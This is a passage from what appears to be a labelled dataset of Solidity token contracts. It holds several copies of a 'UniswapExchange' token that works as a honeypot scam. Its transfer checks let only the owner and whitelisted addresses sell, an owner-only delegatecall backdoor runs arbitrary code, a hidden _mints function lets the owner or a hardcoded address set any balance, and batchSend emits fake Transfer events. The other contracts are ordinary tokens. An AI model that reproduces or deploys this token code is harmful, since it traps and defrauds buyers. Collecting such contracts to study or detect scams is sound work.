require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,882 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 651 |
pragma solidity ^0.4.24;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract iLitecoin is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function iLitecoin() {
balances[msg.sender] = 30000000000000000000000000000;
totalSupply = 30000000000000000000000000000;
name = "iLitecoin";
decimals = 18;
symbol = "ILTC";
unitsOneEthCanBuy = 11111000;
fundsWallet = msg.sender;
}
function() public payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,437 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Rate2Rich is StandardToken {
string public constant name = "Rate2Rich";
string public constant symbol = "R2R";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1500000000 * (10 ** uint256(decimals));
function Rate2Rich() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,813 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 369 |
pragma solidity ^0.4.25;
contract SPBevents {
event onWithdraw
(
uint256 indexed sniperID,
address sniperAddress,
uint256 ethOut,
uint256 timeStamp
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onCheckMainpot
(
uint256 indexed randomNumber,
uint256 indexed roundID,
address indexed sniperAddress,
uint256 timeStamp
);
event onCheckLuckypot
(
uint256 indexed randomNumber,
uint256 indexed roundID,
address indexed sniperAddress,
uint256 timeStamp
);
event onCheckKingpot
(
uint256 indexed randomNumber,
address indexed sniperAddress,
uint256 indexed roundID,
uint256 timeStamp
);
event onCheckHitNumber
(
uint256 indexed randomNumber,
uint256 indexed beingHitSniperID,
address indexed firedSniperAddress,
uint256 roundID,
uint256 timeStamp
);
event onEndTx
(
uint256 sniperID,
uint256 ethIn,
uint256 number,
uint256 laffID,
uint256 timeStamp
);
event onICOAngel
(
address indexed whoInvest,
uint256 amount,
uint256 timeStamp
);
event onOEZDay
(
uint256 amount,
uint256 timeStamp
);
}
contract modularBillion is SPBevents {}
contract SniperBillion is modularBillion {
using SafeMath for *;
using Array256Lib for uint256[];
address constant private comReward_ = 0x8Aa94D530cC572aF0C730147E1ab76875F25f71C;
address constant private comMarket_ = 0x6c14CAAc549d7411faE4e201105B4D33afb8a3db;
address constant private comICO_ = 0xbAdb636C5C3665a969159a6b993F811D9F263639;
address constant private donateAccount_ = 0x1bB064708eBf4763BeB495877E99Dfeb75198942;
RubyFundForwarderInterface constant private Ruby_Fund = RubyFundForwarderInterface(0x7D653E0Ecb4DAF3166a49525Df04147a7180B051);
SniperBookInterface constant private SniperBook = SniperBookInterface(0xc294FA45F713B09d865A088543765800F47514eD);
string constant public name = "Sniper Billion Official";
string constant public symbol = "SPB";
uint256 constant private icoEndTime_ = 24 hours;
uint256 constant private maxNumber_ = 100000000;
uint256 public totalSum_;
uint256 public rID_;
uint256 public icoAmount_;
bool private isDrawed_ = false;
uint256 lastSID_;
uint256[] private globalArr_;
